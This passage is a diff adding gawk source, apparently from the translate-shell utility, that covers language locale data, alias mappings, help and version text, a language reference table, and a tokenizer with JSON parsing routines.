"papi1253" +Locale["pap"]["script"] = "Latn" +Locale["rm"]["support"] = "unstable" +Locale["rm"]["name"] = "Romansh" +Locale["rm"]["endonym"] = "Rumantsch" +Locale["rm"]["family"] = "Indo-European" +Locale["rm"]["iso"] = "roh" +Locale["rm"]["glotto"] = "roma1326" +Locale["rm"]["script"] = "Latn" +Locale["ti"]["support"] = "unstable" +Locale["ti"]["name"] = "Tigrinya" +Locale["ti"]["endonym"] = "ትግርኛ" +Locale["ti"]["family"] = "Afro-Asiatic" +Locale["ti"]["iso"] = "tir" +Locale["ti"]["glotto"] = "tigr1271" +Locale["ti"]["script"] = "Ethi" +Locale["bo"]["support"] = "unstable" +Locale["bo"]["name"] = "Tibetan" +Locale["bo"]["endonym"] = "བོད་ཡིག" +Locale["bo"]["family"] = "Sino-Tibetan" +Locale["bo"]["iso"] = "bod" +Locale["bo"]["glotto"] = "tibe1272" +Locale["bo"]["script"] = "Tibt" +Locale["tk"]["support"] = "unstable" +Locale["tk"]["name"] = "Turkmen" +Locale["tk"]["endonym"] = "Türkmen" +Locale["tk"]["family"] = "Turkic" +Locale["tk"]["iso"] = "tuk" +Locale["tk"]["glotto"] = "turk1304" +Locale["tk"]["script"] = "Latn" +Locale["tt"]["support"] = "yandex-only" +Locale["tt"]["name"] = "Tatar" +Locale["tt"]["endonym"] = "татарча" +Locale["tt"]["family"] = "Turkic" +Locale["tt"]["iso"] = "tat" +Locale["tt"]["glotto"] = "tata1255" +Locale["tt"]["script"] = "Cyrl" +Locale["udm"]["support"] = "yandex-only" +Locale["udm"]["name"] = "Udmurt" +Locale["udm"]["endonym"] = "удмурт" +Locale["udm"]["family"] = "Uralic" +Locale["udm"]["iso"] = "udm" +Locale["udm"]["glotto"] = "udmu1245" +Locale["udm"]["script"] = "Cyrl" +Locale["ug"]["support"] = "unstable" +Locale["ug"]["name"] = "Uyghur" +Locale["ug"]["endonym"] = "ئۇيغۇر تىلى" +Locale["ug"]["family"] = "Turkic" +Locale["ug"]["iso"] = "uig" +Locale["ug"]["glotto"] = "uigh1240" +Locale["ug"]["script"] = "Arab" +Locale["ug"]["rtl"] = "true" +Locale["vo"]["support"] = "unstable" +Locale["vo"]["name"] = "Volapük" +Locale["vo"]["endonym"] = "Volapük" +Locale["vo"]["family"] = "Artificial Language" +Locale["vo"]["iso"] = "vol" +Locale["vo"]["script"] = "Latn" +Locale["wo"]["support"] = "unstable" +Locale["wo"]["name"] = "Wolof" +Locale["wo"]["endonym"] = "Wollof" +Locale["wo"]["family"] = "Atlantic-Congo" +Locale["wo"]["iso"] = "wol" +Locale["wo"]["glotto"] = "wolo1247" +Locale["wo"]["script"] = "Latn" +Locale["chr"]["support"] = "unstable" +Locale["chr"]["name"] = "Cherokee" +Locale["chr"]["endonym"] = "ᏣᎳᎩ" +Locale["chr"]["family"] = "Iroquoian" +Locale["chr"]["iso"] = "chr" +Locale["chr"]["glotto"] = "cher1273" +Locale["chr"]["script"] = "Cher" +for (i in Locale) { +Locale[i]["display"] = show(Locale[i]["endonym"], i) +LocaleAlias[Locale[i]["iso"]] = i +LocaleAlias[tolower(Locale[i]["name"])] = i +LocaleAlias[tolower(Locale[i]["endonym"])] = i +} +LocaleAlias["in"] = "id" +LocaleAlias["iw"] = "he" +LocaleAlias["ji"] = "yi" +LocaleAlias["jw"] = "jv" +LocaleAlias["mo"] = "ro" +LocaleAlias["nb"] = "no" +LocaleAlias["nn"] = "no" +LocaleAlias["sh"] = "sr-Cyrl" +LocaleAlias["sr"] = "sr-Cyrl" +LocaleAlias["srp"] = "sr-Cyrl" +LocaleAlias["serbian"] = "sr-Cyrl" +LocaleAlias["zh"] = "zh-CN" +LocaleAlias["zh-CHS"] = "zh-CN" +LocaleAlias["zh-CHT"] = "zh-TW" +LocaleAlias["zho"] = "zh-CN" +LocaleAlias["chinese"] = "zh-CN" +LocaleAlias["tlh-Latn"] = "tlh" +LocaleAlias["tlh-Piqd"] = "tlh-Qaak" +} +function getCode(code, group) { +if (code == "auto" || code in Locale) +return code +else if (code in LocaleAlias) +return LocaleAlias[code] +else if (tolower(code) in LocaleAlias) +return LocaleAlias[tolower(code)] +match(code, /^([[:alpha:]][[:alpha:]][[:alpha:]]?)-(.*)$/, group) +if (group[1]) +return group[1] +return +} +function getName(code) { +return Locale[getCode(code)]["name"] +} +function getEndonym(code) { +return Locale[getCode(code)]["endonym"] +} +function getDisplay(code) { +return Locale[getCode(code)]["display"] +} +function showTranslationsOf(code, text, fmt) { +fmt = Locale[getCode(code)]["translations-of"] +if (!fmt) fmt = Locale["en"]["translations-of"] +return sprintf(fmt, text) +} +function showDefinitionsOf(code, text, fmt) { +fmt = Locale[getCode(code)]["definitions-of"] +if (!fmt) fmt = Locale["en"]["definitions-of"] +return sprintf(fmt, text) +} +function showSynonyms(code, tmp) { +tmp = Locale[getCode(code)]["synonyms"] +if (!tmp) tmp = Locale["en"]["synonyms"] +return tmp +} +function showExamples(code, tmp) { +tmp = Locale[getCode(code)]["examples"] +if (!tmp) tmp = Locale["en"]["examples"] +return tmp +} +function showSeeAlso(code, tmp) { +tmp = Locale[getCode(code)]["see-also"] +if (!tmp) tmp = Locale["en"]["see-also"] +return tmp +} +function getFamily(code) { +return Locale[getCode(code)]["family"] +} +function getISO(code) { +return Locale[getCode(code)]["iso"] +} +function getGlotto(code) { +return Locale[getCode(code)]["glotto"] +} +function getScript(code) { +return Locale[getCode(code)]["script"] +} +function isRTL(code) { +return Locale[getCode(code)]["rtl"] ? 1 : 0 +} +function hasDictionary(code) { +return Locale[getCode(code)]["dictionary"] ? 1 : 0 +} +function compName(i1, v1, i2, v2) { +if (getName(i1) < getName(i2)) +return -1 +else +return (getName(i1) != getName(i2)) +} +function scriptName(code) { +switch (code) { +case "Arab": return "Arabic" +case "Armn": return "Armenian" +case "Beng": return "Bengali" +case "Cher": return "Cherokee" +case "Cyrl": return "Cyrillic" +case "Deva": return "Devanagari" +case "Ethi": return "Ethiopic (Geʻez)" +case "Geor": return "Georgian (Mkhedruli)" +case "Grek": return "Greek" +case "Gujr": return "Gujarati" +case "Guru": return "Gurmukhi" +case "Hani": return "Han" +case "Hans": return "Han (Simplified)" +case "Hant": return "Han (Traditional)" +case "Hebr": return "Hebrew" +case "Jpan": return "Japanese (Han + Hiragana + Katakana)" +case "Khmr": return "Khmer" +case "Knda": return "Kannada" +case "Kore": return "Korean (Hangul + Han)" +case "Laoo": return "Lao" +case "Latn": return "Latin" +case "Mlym": return "Malayalam" +case "Mymr": return "Myanmar" +case "Orya": return "Oriya" +case "Piqd": return "Klingon (pIqaD)" +case "Sinh": return "Sinhala" +case "Taml": return "Tamil" +case "Telu": return "Telugu" +case "Thai": return "Thai" +case "Tibt": return "Tibetan" +default: return "Unknown" +} +} +function getDetails(code, group, iso, language, script) { +if (code == "auto" || !getCode(code)) { +e("[ERROR] Language not found: " code "\n"\ +" Run '-reference / -R' to see a list of available languages.") +exit 1 +} +script = scriptName(getScript(code)) +if (isRTL(code)) script = script " (R-to-L)" +split(getISO(code), group, "-") +iso = group[1] +split(getName(code), group, " ") +language = length(group) == 1 ? group[1] "_language" : +group[2] ~ /^\(.*\)$/ ? group[1] "_language" : join(group, "_") +return ansi("bold", sprintf("%s\n", getDisplay(code)))\ +sprintf("%-22s%s\n", "Name", ansi("bold", getName(code)))\ +sprintf("%-22s%s\n", "Family", ansi("bold", getFamily(code)))\ +sprintf("%-22s%s\n", "Writing system", ansi("bold", script))\ +sprintf("%-22s%s\n", "Code", ansi("bold", getCode(code)))\ +sprintf("%-22s%s\n", "ISO 639-3", ansi("bold", iso))\ +sprintf("%-22s%s\n", "SIL", ansi("bold", "http://www-01.sil.org/iso639-3/documentation.asp?id=" iso))\ +sprintf("%-22s%s\n", "Glottolog", getGlotto(code) ? +ansi("bold", "http://glottolog.org/resource/languoid/id/" getGlotto(code)) : "")\ +sprintf("%-22s%s", "Wikipedia", ansi("bold", "http://en.wikipedia.org/wiki/" language)) +} +function showPhonetics(phonetics, code) { +if (code && getCode(code) == "en") +return "/" phonetics "/" +else +return "(" phonetics ")" +} +function show(text, code, temp) { +if (!code || isRTL(code)) { +if (Cache[text][0]) +return Cache[text][0] +else { +if ((FriBidi || (code && isRTL(code))) && BiDiNoPad) +("echo " parameterize(text) PIPE BiDiNoPad) | getline temp +else +temp = text +return Cache[text][0] = temp +} +} else +return text +} +function s(text, code, width, temp) { +if (!code || isRTL(code)) { +if (!width) width = Option["width"] +if (Cache[text][width]) +return Cache[text][width] +else { +if ((FriBidi || (code && isRTL(code))) && BiDi) +("echo " parameterize(text) PIPE sprintf(BiDi, width)) | getline temp +else +temp = text +return Cache[text][width] = temp +} +} else +return text +} +function ins(level, text, code, width, i, temp) { +if (code && isRTL(code)) { +if (!width) width = Option["width"] +return s(text, code, width - Option["indent"] * level) +} else +return replicate(" ", Option["indent"] * level) text +} +function parseLang(lang, code, group) { +match(lang, /^([a-z][a-z][a-z]?)(_|$)/, group) +code = getCode(group[1]) +if (lang ~ /^zh_(CN|SG)/) code = "zh-CN" +else if (lang ~ /^zh_(TW|HK)/) code = "zh-TW" +if (!code) code = "en" +return code +} +function initUserLang( lang, utf) { +if (lang = ENVIRON["LANGUAGE"]) { +if (!UserLocale) UserLocale = lang +utf = utf || tolower(lang) ~ /utf-?8$/ +} +if (lang = ENVIRON["LC_ALL"]) { +if (!UserLocale) UserLocale = lang +utf = utf || tolower(lang) ~ /utf-?8$/ +} +if (lang = ENVIRON["LANG"]) { +if (!UserLocale) UserLocale = lang +utf = utf || tolower(lang) ~ /utf-?8$/ +} +if (!UserLocale) { +UserLocale = "en_US.UTF-8" +utf = 1 +} +if (!utf) +w("[WARNING] Your locale codeset (" UserLocale ") is not UTF-8.") +UserLang = parseLang(UserLocale) +} +function getVersion( build, gitHead, platform) { +initAudioPlayer() +initPager() +platform = detectProgram("uname", "-s", 1) +if (ENVIRON["TRANS_BUILD"]) +build = "-" ENVIRON["TRANS_BUILD"] +else { +gitHead = getGitHead() +build = gitHead ? "-git:" gitHead : "" +} +return ansi("bold", sprintf("%-22s%s%s\n\n", Name, Version, build))\ +sprintf("%-22s%s\n", "platform", platform)\ +sprintf("%-22s%s\n", "gawk (GNU Awk)", PROCINFO["version"])\ +sprintf("%s\n", FriBidi ? FriBidi : +"fribidi (GNU FriBidi) [NOT INSTALLED]")\ +sprintf("%-22s%s\n", "audio player", AudioPlayer ? AudioPlayer : +"[NOT INSTALLED]")\ +sprintf("%-22s%s\n", "terminal pager", Pager ? Pager : +"[NOT INSTALLED]")\ +sprintf("%-22s%s\n", "terminal type", ENVIRON["TERM"])\ +sprintf("%-22s%s (%s)\n", "user locale", UserLocale, getName(UserLang))\ +sprintf("%-22s%s\n", "home language", Option["hl"])\ +sprintf("%-22s%s\n", "source language", Option["sl"])\ +sprintf("%-22s%s\n", "target language", join(Option["tl"], "+"))\ +sprintf("%-22s%s\n", "translation engine", Option["engine"])\ +sprintf("%-22s%s\n", "proxy", Option["proxy"] ? Option["proxy"] : +"[NONE]")\ +sprintf("%-22s%s\n", "user-agent", Option["user-agent"] ? Option["user-agent"] : +"[NONE]")\ +sprintf("%-22s%s\n", "theme", Option["theme"])\ +sprintf("%-22s%s\n", "init file", InitScript ? InitScript : "[NONE]")\ +sprintf("\n%-22s%s", "Report bugs to:", "https://github.com/soimort/translate-shell/issues") +} +function getHelp() { +return "Usage: " ansi("bold", Command)\ +" [" ansi("underline", "OPTIONS") "]"\ +" [" ansi("underline", "SOURCE") "]"\ +":[" ansi("underline", "TARGETS") "]"\ +" [" ansi("underline", "TEXT") "]..." RS\ +RS "Information options:" RS\ +ins(1, ansi("bold", "-V") ", " ansi("bold", "-version")) RS\ +ins(2, "Print version and exit.") RS\ +ins(1, ansi("bold", "-H") ", " ansi("bold", "-help")) RS\ +ins(2, "Print help message and exit.") RS\ +ins(1, ansi("bold", "-M") ", " ansi("bold", "-man")) RS\ +ins(2, "Show man page and exit.") RS\ +ins(1, ansi("bold", "-T") ", " ansi("bold", "-reference")) RS\ +ins(2, "Print reference table of languages and exit.") RS\ +ins(1, ansi("bold", "-R") ", " ansi("bold", "-reference-english")) RS\ +ins(2, "Print reference table of languages (in English names) and exit.") RS\ +ins(1, ansi("bold", "-L ") ansi("underline", "CODES")\ +", " ansi("bold", "-list ") ansi("underline", "CODES")) RS\ +ins(2, "Print details of languages and exit.") RS\ +ins(1, ansi("bold", "-S") ", " ansi("bold", "-list-engines")) RS\ +ins(2, "List available translation engines and exit.") RS\ +ins(1, ansi("bold", "-U") ", " ansi("bold", "-upgrade")) RS\ +ins(2, "Check for upgrade of this program.") RS\ +RS "Translator options:" RS\ +ins(1, ansi("bold", "-e ") ansi("underline", "ENGINE")\ +", " ansi("bold", "-engine ") ansi("underline", "ENGINE")) RS\ +ins(2, "Specify the translation engine to use.") RS\ +RS "Display options:" RS\ +ins(1, ansi("bold", "-verbose")) RS\ +ins(2, "Verbose mode. (default)") RS\ +ins(1, ansi("bold", "-b") ", " ansi("bold", "-brief")) RS\ +ins(2, "Brief mode.") RS\ +ins(1, ansi("bold", "-d") ", " ansi("bold", "-dictionary")) RS\ +ins(2, "Dictionary mode.") RS\ +ins(1, ansi("bold", "-identify")) RS\ +ins(2, "Language identification.") RS\ +ins(1, ansi("bold", "-show-original ") ansi("underline", "Y/n")) RS\ +ins(2, "Show original text or not.") RS\ +ins(1, ansi("bold", "-show-original-phonetics ") ansi("underline", "Y/n")) RS\ +ins(2, "Show phonetic notation of original text or not.") RS\ +ins(1, ansi("bold", "-show-translation ") ansi("underline", "Y/n")) RS\ +ins(2, "Show translation or not.") RS\ +ins(1, ansi("bold", "-show-translation-phonetics ") ansi("underline", "Y/n")) RS\ +ins(2, "Show phonetic notation of translation or not.") RS\ +ins(1, ansi("bold", "-show-prompt-message ") ansi("underline", "Y/n")) RS\ +ins(2, "Show prompt message or not.") RS\ +ins(1, ansi("bold", "-show-languages ") ansi("underline", "Y/n")) RS\ +ins(2, "Show source and target languages or not.") RS\ +ins(1, ansi("bold", "-show-original-dictionary ") ansi("underline", "y/N")) RS\ +ins(2, "Show dictionary entry of original text or not.") RS\ +ins(1, ansi("bold", "-show-dictionary ") ansi("underline", "Y/n")) RS\ +ins(2, "Show dictionary entry of translation or not.") RS\ +ins(1, ansi("bold", "-show-alternatives ") ansi("underline", "Y/n")) RS\ +ins(2, "Show alternative translations or not.") RS\ +ins(1, ansi("bold", "-w ") ansi("underline", "NUM")\ +", " ansi("bold", "-width ") ansi("underline", "NUM")) RS\ +ins(2, "Specify the screen width for padding.") RS\ +ins(1, ansi("bold", "-indent ") ansi("underline", "NUM")) RS\ +ins(2, "Specify the size of indent (number of spaces).") RS\ +ins(1, ansi("bold", "-theme ") ansi("underline", "FILENAME")) RS\ +ins(2, "Specify the theme to use.") RS\ +ins(1, ansi("bold", "-no-theme")) RS\ +ins(2, "Do not use any other theme than default.") RS\ +ins(1, ansi("bold", "-no-ansi")) RS\ +ins(2, "Do not use ANSI escape codes.") RS\ +ins(1, ansi("bold", "-no-autocorrect")) RS\ +ins(2, "Do not autocorrect. (if defaulted by the translation engine)") RS\ +ins(1, ansi("bold", "-no-bidi")) RS\ +ins(2, "Do not convert bidirectional texts.") RS\ +ins(1, ansi("bold", "-no-warn")) RS\ +ins(2, "Do not write warning messages to stderr.") RS\ +ins(1, ansi("bold", "-dump")) RS\ +ins(2, "Print raw API response instead.") RS\ +RS "Audio options:" RS\ +ins(1, ansi("bold", "-p, -play")) RS\ +ins(2, "Listen to the translation.") RS\ +ins(1, ansi("bold", "-speak")) RS\ +ins(2, "Listen to the original text.") RS\ +ins(1, ansi("bold", "-n ") ansi("underline", "VOICE")\ +", " ansi("bold", "-narrator ") ansi("underline", "VOICE")) RS\ +ins(2, "Specify the narrator, and listen to the translation.") RS\ +ins(1, ansi("bold", "-player ") ansi("underline", "PROGRAM")) RS\ +ins(2, "Specify the audio player to use, and listen to the translation.") RS\ +ins(1, ansi("bold", "-no-play")) RS\ +ins(2, "Do not listen to the translation.") RS\ +ins(1, ansi("bold", "-no-translate")) RS\ +ins(2, "Do not translate anything when using -speak.") RS\ +ins(1, ansi("bold", "-download-audio")) RS\ +ins(2, "Download the audio to the current directory.") RS\ +ins(1, ansi("bold", "-download-audio-as ") ansi("underline", "FILENAME")) RS\ +ins(2, "Download the audio to the specified file.") RS\ +RS "Terminal paging and browsing options:" RS\ +ins(1, ansi("bold", "-v") ", " ansi("bold", "-view")) RS\ +ins(2, "View the translation in a terminal pager.") RS\ +ins(1, ansi("bold", "-pager ") ansi("underline", "PROGRAM")) RS\ +ins(2, "Specify the terminal pager to use, and view the translation.") RS\ +ins(1, ansi("bold", "-no-view")) RS\ +ins(2, "Do not view the translation in a terminal pager.") RS\ +ins(1, ansi("bold", "-browser ") ansi("underline", "PROGRAM")) RS\ +ins(2, "Specify the web browser to use.") RS\ +RS "Networking options:" RS\ +ins(1, ansi("bold", "-x ") ansi("underline", "HOST:PORT")\ +", " ansi("bold", "-proxy ") ansi("underline", "HOST:PORT")) RS\ +ins(2, "Use HTTP proxy on given port.") RS\ +ins(1, ansi("bold", "-u ") ansi("underline", "STRING")\ +", " ansi("bold", "-user-agent ") ansi("underline", "STRING")) RS\ +ins(2, "Specify the User-Agent to identify as.") RS\ +RS "Interactive shell options:" RS\ +ins(1, ansi("bold", "-I") ", " ansi("bold", "-interactive") ", " ansi("bold", "-shell")) RS\ +ins(2, "Start an interactive shell.") RS\ +ins(1, ansi("bold", "-E") ", " ansi("bold", "-emacs")) RS\ +ins(2, "Start the GNU Emacs front-end for an interactive shell.") RS\ +ins(1, ansi("bold", "-no-rlwrap")) RS\ +ins(2, "Do not invoke rlwrap when starting an interactive shell.") RS\ +RS "I/O options:" RS\ +ins(1, ansi("bold", "-i ") ansi("underline", "FILENAME")\ +", " ansi("bold", "-input ") ansi("underline", "FILENAME")) RS\ +ins(2, "Specify the input file.") RS\ +ins(1, ansi("bold", "-o ") ansi("underline", "FILENAME")\ +", " ansi("bold", "-output ") ansi("underline", "FILENAME")) RS\ +ins(2, "Specify the output file.") RS\ +RS "Language preference options:" RS\ +ins(1, ansi("bold", "-l ") ansi("underline", "CODE")\ +", " ansi("bold", "-hl ") ansi("underline", "CODE")\ +", " ansi("bold", "-lang ") ansi("underline", "CODE")) RS\ +ins(2, "Specify your home language.") RS\ +ins(1, ansi("bold", "-s ") ansi("underline", "CODE")\ +", " ansi("bold", "-sl ") ansi("underline", "CODE")\ +", " ansi("bold", "-source ") ansi("underline", "CODE")\ +", " ansi("bold", "-from ") ansi("underline", "CODE")) RS\ +ins(2, "Specify the source language.") RS\ +ins(1, ansi("bold", "-t ") ansi("underline", "CODES")\ +", " ansi("bold", "-tl ") ansi("underline", "CODE")\ +", " ansi("bold", "-target ") ansi("underline", "CODES")\ +", " ansi("bold", "-to ") ansi("underline", "CODES")) RS\ +ins(2, "Specify the target language(s), joined by '+'.") RS\ +RS "Other options:" RS\ +ins(1, ansi("bold", "-no-init")) RS\ +ins(2, "Do not load any initialization script.") RS\ +RS "See the man page " Command "(1) for more information." +} +function showMan( temp) { +if (ENVIRON["TRANS_MANPAGE"]) { +initPager() +Groff = detectProgram("groff", "--version") +if (Pager && Groff) { +temp = "echo -E \"${TRANS_MANPAGE}\"" +temp = temp PIPE\ +Groff " -Wall -mtty-char -mandoc -Tutf8 "\ +"-rLL=" Option["width"] "n -rLT=" Option["width"] "n" +switch (Pager) { +case "less": +temp = temp PIPE\ +Pager " -s -P\"\\ \\Manual page " Command "(1) line %lt (press h for help or q to quit)\"" +break +case "most": +temp = temp PIPE Pager " -Cs" +break +default: +temp = temp PIPE Pager +} +system(temp) +return +} +} +if (fileExists(ENVIRON["TRANS_DIR"] "/man/" Command ".1")) +system("man " parameterize(ENVIRON["TRANS_DIR"] "/man/" Command ".1") SUPERR) +else if (system("man " Command SUPERR)) +print getHelp() +} +function getReference(displayName, +code, col, cols, i, j, name, num, r, rows, saveSortedIn, +t1, t2) { +num = 0 +for (code in Locale) +if (Locale[code]["support"] != "unstable") +num++ +rows = int(num / 3) + (num % 3 ? 1 : 0) +cols[0][0] = cols[1][0] = cols[2][0] = NULLSTR +i = 0 +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = displayName == "endonym" ? "@ind_num_asc" : +"compName" +for (code in Locale) { +if (Locale[code]["support"] != "unstable") { +col = int(i / rows) +append(cols[col], code) +i++ +} +} +PROCINFO["sorted_in"] = saveSortedIn +if (displayName == "endonym") { +r = "┌" replicate("─", 23) "┬" replicate("─", 23) "┬" replicate("─", 23) "┐" RS +for (i = 0; i < rows; i++) { +r = r "│" +for (j = 0; j < 3; j++) { +if (cols[j][i]) { +t1 = getDisplay(cols[j][i]) +switch (cols[j][i]) { +case "he": +t1 = sprintf(" %-18s", t1) +break +case "ur": +t1 = sprintf(" %-17s", t1) +break +case "hi": case "gu": case "km": case "kn": +case "my": case "ne": case "pa": case "si": +case "ta": case "te": case "yi": +t1 = sprintf(" %-16s", t1) +break +case "yue": +t1 = sprintf(" %-13s", t1) +break +case "ja": case "ko": +t1 = sprintf(" %-12s", t1) +break +case "zh-CN": case "zh-TW": +t1 = sprintf(" %-11s", t1) +break +default: +if (length(t1) <= 15) +t1 = sprintf(" %-15s", t1) +} +switch (length(cols[j][i])) { +case 1: case 2: case 3: case 4: +t2 = sprintf("- %s │", ansi("bold", sprintf("%4s", cols[j][i]))) +break +case 5: +t2 = sprintf("- %s│", ansi("bold", cols[j][i])) +break +case 6: +t2 = sprintf("-%s│", ansi("bold", cols[j][i])) +break +case 7: +t2 = sprintf("-%s", ansi("bold", cols[j][i])) +break +default: +t2 = ansi("bold", cols[j][i]) +} +r = r t1 t2 +} else +r = r sprintf("%23s│", NULLSTR) +} +r = r RS +} +r = r "└" replicate("─", 23) "┴" replicate("─", 23) "┴" replicate("─", 23) "┘" +} else { +r = "┌" replicate("─", 23) "┬" replicate("─", 23) "┬" replicate("─", 23) "┐" RS +for (i = 0; i < rows; i++) { +r = r "│" +for (j = 0; j < 3; j++) { +if (cols[j][i]) { +t1 = getName(cols[j][i]) +if (length(t1) > 15) +t1 = substr(t1, 1, 12) "..." +t1 = sprintf(" %-15s", t1) +switch (length(cols[j][i])) { +case 1: case 2: case 3: case 4: +t2 = sprintf("- %s │", ansi("bold", sprintf("%4s", cols[j][i]))) +break +case 5: +t2 = sprintf("- %s│", ansi("bold", cols[j][i])) +break +case 6: +t2 = sprintf("-%s│", ansi("bold", cols[j][i])) +break +case 7: +t2 = sprintf("-%s", ansi("bold", cols[j][i])) +break +default: +t2 = ansi("bold", cols[j][i]) +} +r = r t1 t2 +} else +r = r sprintf("%23s│", NULLSTR) +} +r = r RS +} +r = r "└" replicate("─", 23) "┴" replicate("─", 23) "┴" replicate("─", 23) "┘" +} +return r +} +function getList(codes, code, i, r, saveSortedIn) { +r = NULLSTR +if (!isarray(codes)) +r = getDetails(codes) +else if (anything(codes)) { +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = "@ind_num_asc" +for (i in codes) +r = (r ? r RS prettify("target-seperator", replicate(Option["chr-target-seperator"], Option["width"])) RS\ +: r) getDetails(codes[i]) +PROCINFO["sorted_in"] = saveSortedIn +} else +r = getDetails(Option["hl"]) +return r +} +function tokenize(returnTokens, string, +delimiters, +newlines, +quotes, +escapeChars, +leftBlockComments, +rightBlockComments, +lineComments, +reservedOperators, +reservedPatterns, +blockCommenting, +c, +currentToken, +escaping, +i, +lineCommenting, +p, +quoting, +r, +s, +tempGroup, +tempPattern, +tempString) { +if (!delimiters[0]) { +delimiters[0] = " " +delimiters[1] = "\t" +delimiters[2] = "\v" +} +if (!newlines[0]) { +newlines[0] = "\n" +newlines[1] = "\r" +} +if (!quotes[0]) { +quotes[0] = "\"" +} +if (!escapeChars[0]) { +escapeChars[0] = "\\" +} +if (!leftBlockComments[0]) { +leftBlockComments[0] = "#|" +leftBlockComments[1] = "/*" +leftBlockComments[2] = "(*" +} +if (!rightBlockComments[0]) { +rightBlockComments[0] = "|#" +rightBlockComments[1] = "*/" +rightBlockComments[2] = "*)" +} +if (!lineComments[0]) { +lineComments[0] = ";" +lineComments[1] = "//" +lineComments[2] = "#" +} +if (!reservedOperators[0]) { +reservedOperators[0] = "(" +reservedOperators[1] = ")" +reservedOperators[2] = "[" +reservedOperators[3] = "]" +reservedOperators[4] = "{" +reservedOperators[5] = "}" +reservedOperators[6] = "," +} +if (!reservedPatterns[0]) { +reservedPatterns[0] = "[+-]?((0|[1-9][0-9]*)|[.][0-9]*|(0|[1-9][0-9]*)[.][0-9]*)([Ee][+-]?[0-9]+)?" +reservedPatterns[1] = "[+-]?0[0-7]+([.][0-7]*)?" +reservedPatterns[2] = "[+-]?0[Xx][0-9A-Fa-f]+([.][0-9A-Fa-f]*)?" +} +split(string, s, "") +currentToken = "" +quoting = escaping = blockCommenting = lineCommenting = 0 +p = 0 +i = 1 +while (i <= length(s)) { +c = s[i] +r = substr(string, i) +if (blockCommenting) { +if (tempString = startsWithAny(r, rightBlockComments)) +blockCommenting = 0 +i++ +} else if (lineCommenting) { +if (belongsTo(c, newlines)) +lineCommenting = 0 +i++ +} else if (quoting) { +currentToken = currentToken c +if (escaping) { +escaping = 0 +} else { +if (belongsTo(c, quotes)) { +if (currentToken) { +returnTokens[p++] = currentToken +currentToken = "" +} +quoting = 0 +} else if (belongsTo(c, escapeChars)) { +escaping = 1 +} else { +} +} +i++ +} else { +if (belongsTo(c, delimiters) || belongsTo(c, newlines)) { +if (currentToken) { +returnTokens[p++] = currentToken +currentToken = "" +} +i++ +} else if (belongsTo(c, quotes)) { +if (currentToken) { +returnTokens[p++] = currentToken +} +currentToken = c +quoting = 1 +i++ +} else if (tempString = startsWithAny(r, leftBlockComments)) { +if (currentToken) { +returnTokens[p++] = currentToken +currentToken = "" +} +blockCommenting = 1 +i += length(tempString) +} else if (tempString = startsWithAny(r, lineComments)) { +if (currentToken) { +returnTokens[p++] = currentToken +currentToken = "" +} +lineCommenting = 1 +i += length(tempString) +} else if (tempString = startsWithAny(r, reservedOperators)) { +if (currentToken) { +returnTokens[p++] = currentToken +currentToken = "" +} +returnTokens[p++] = tempString +i += length(tempString) +} else if (tempPattern = matchesAny(r, reservedPatterns)) { +if (currentToken) { +returnTokens[p++] = currentToken +currentToken = "" +} +match(r, "^" tempPattern, tempGroup) +returnTokens[p++] = tempGroup[0] +i += length(tempGroup[0]) +} else { +currentToken = currentToken c +i++ +} +} +} +if (currentToken) +returnTokens[p++] = currentToken +} +function parseJsonArray(returnAST, tokens, +leftBrackets, +rightBrackets, +separators, +i, j, key, p, stack, token) { +if (!leftBrackets[0]) { +leftBrackets[0] = "(" +leftBrackets[1] = "[" +leftBrackets[2] = "{" +} +if (!rightBrackets[0]) { +rightBrackets[0] = ")" +rightBrackets[1] = "]" +rightBrackets[2] = "}" +} +if (!separators[0]) { +separators[0] = "," +} +stack[p = 0] = 0 +for (i = 0; i < length(tokens); i++) { +token = tokens[i] +if (belongsTo(token, leftBrackets)) +stack[++p] = 0 +else if (belongsTo(token, rightBrackets)) +--p +else if (belongsTo(token, separators)) +stack[p]++ +else { +key = stack[0] +for (j = 1; j <= p; j++) +key = key SUBSEP stack[j] +returnAST[key] = token +} +} +} +function parseJson(returnAST, tokens, +arrayStartTokens, arrayEndTokens, +objectStartTokens, objectEndTokens, +commas, colons, +flag, i, j, key, name, p, stack, token) { +if (!arrayStartTokens[0]) arrayStartTokens[0] = "[" +if (!arrayEndTokens[0]) arrayEndTokens[0] = "]" +if (!objectStartTokens[0]) objectStartTokens[0] = "{" +if (!objectEndTokens[0]) objectEndTokens[0] = "}" +if (!commas[0]) commas[0] = "," +if (!colons[0]) colons[0] = ":" +stack[p = 0] = 0 +flag = 0 +for (i = 0; i < length(tokens); i++) { +token = tokens[i] +if (belongsTo(token, arrayStartTokens)) { +stack[++p] = 0 +} else if (belongsTo(token, objectStartTokens)) { +stack[++p] = NULLSTR +flag = 0 +} else if (belongsTo(token, objectEndTokens) || +belongsTo(token, arrayEndTokens)) { +--p +} else if (belongsTo(token, commas)) { +if (isnum(stack[p])) +stack[p]++ +else +flag = 0 +} else if (belongsTo(token, colons)) { +flag = 1 +} else if (isnum(stack[p]) || flag) { +key = stack[0] +for (j = 1; j <= p; j++) +key = key SUBSEP stack[j] +returnAST[key] = token +flag = 0 +} else { +stack[p] = unparameterize(token) +} +} +} +function parseList(returnAST, tokens, +leftBrackets, +rightBrackets, +separators, +i, j, key, p, stack, token) { +if (!leftBrackets[0]) { +leftBrackets[0] = "(" +leftBrackets[1] = "[" +leftBrackets[2] = "{" +} +if (!rightBrackets[0]) { +rightBrackets[0] = ")" +rightBrackets[1] = "]" +rightBrackets[2] = "}" +} +if (!separators[0]) { +separators[0] = "," +} +stack[p = 0] = 0 +for (i = 0; i < length(tokens); i++) { +token = tokens[i] +if (belongsTo(token, leftBrackets)) { +stack[++p] = 0 +} else if (belongsTo(token, rightBrackets)) { +stack[--p]++ +} else if (belongsTo(token, separators)) { +} else { +key = NULLSTR +if (p > 0) { +for (j = 0; j < p - 1; j++) +key = key SUBSEP stack[j] +returnAST[key][stack[p - 1]] = NULLSTR +key = key SUBSEP stack[p - 1] +} +returnAST[key][stack[p]] = token +stack[p]++ +} +} +} +function prettify(name, string, i, temp) { +temp = string +if ("sgr-" name in Option) +if (isarray(Option["sgr-" name])) +for (i in Option["sgr-" name]) +temp = ansi(Option["sgr-" name][i], temp) +else +temp = ansi(Option["sgr-" name], temp) +return temp +} +function randomColor( i) { +i = int(5 * rand()) +switch (i) { +case 0: return "green" +case 1: return "yellow" +case 2: return "blue" +case 3: return "magenta" 